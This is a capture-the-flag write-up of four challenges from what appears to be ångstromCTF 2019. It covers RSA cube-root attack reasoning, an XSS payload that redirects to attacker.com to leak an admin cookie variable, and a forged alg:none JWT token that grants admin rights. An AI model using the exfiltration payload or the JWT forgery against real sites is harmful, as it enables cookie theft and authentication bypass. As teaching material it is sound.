Really Secure Algorithm

Description: I found this flag somewhere when I was taking a walk, but it seems to have been encrypted with this Really Secure Algorithm!
Hint: Now that I think about it, that's probably not what RSA stands for...

Both the title abbreviation and the hint suggest that the algorithm used to encrypt is RSA. We can write a **solve script** from the description of the algorithm.

WALL-E

Description: My friend and I have been encrypting our messages using RSA, but someone keeps intercepting and decrypting them! Maybe you can figure out what's happening?

Wow, 2048-bit RSA! The upper bound on the flag length and the small value for e makes us think of the cube-root attack, but there's some padding we need to take care of first. We notice that the message is padded with null bytes on both sides. The padding on the left doesn't have any effect on m (0x005 == 0x5), and the padding on the right has the effect of multiplying m by 16^{2n}, where n is the number of null bytes ($0x500 = 0x5 * 16^2$).

Since len(flag)<87 we are guaranteed (255-87)/2=84 bytes of padding. So, we have $(flag*16^{2*84})^3=c \bmod n$, which we can simplify to $flag^3*16^{2*3*84}=c \bmod n$. We can easily compute the inverse of 16^{2*3*84} modulo n; let us call this value A. Then $flag^3=c*A \bmod n$.

An upper bound for flag is $256^{86}=2^{688}$, so $flag^3$ is at most $(2^{688})^3=2^{2064}$. This is more than n, so we can't use the cube-root attack? Well, we know that $flag^3=c*A \bmod n$ so $flag^3=c*A + k*n$ for some integer k. We can see that k is roughly 2^{20}, which is definitely brute-forceable. **Solve script**

Cookie Monster

Description: My friend sent me this monster of a website - maybe you can figure out what it's doing? I heard the admin here is slightly more cooperative than the other one, though not by much.
The <script> tag is exempt from the same-origin policy. Also, /cookies returns valid JavaScript.

```
<script
src="https://cookiemonster.2019.chall.actf.co/cookies"></script>
<script>
	location.href = "https://attacker.com/?"+Object.keys(window)
</script>
```

Once you get the name of the variable (e.g. admin_XOJhFdjDiqrD2ItHRceWqjDj7mMrB6cCrWgF1CakmgM), append an = to it and set it as your id cookie.

There was also an unintended solution using the XSS on the DOM Validator challenge, which enabled you to set a cookie for .2019.chall.actf.co and get XSS on /cookies, and make a request to /getflag from there.

Cookie Cutter

Description: I stumbled upon this very interesting site lately while looking for cookie recipes, which claims to have a flag. However, the admin doesn't seem to be available and the site looks secure - can you help me out?
Set the following in your cookie:

- alg to 'none' (jwts are bad!!)
- rolled to 'no' (cookie will regenerate if you were rickrolled)
- secretid to a string ("x"==undefined||"x">5||"x"<0 returns false)
- perms to 'admin' (obviously)
- remove secret (modern implementation of jwts won't accept alg:none unless no secret is there)

"eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJwZXJtcyI6ImFkbWluIiwic2VjcmV0aWQiOiJ4Iiwicm9sbGVkIjoibm8iLCJpYXQiOjE1NTU3MTc2Mjd9." is one example of a cookie that works.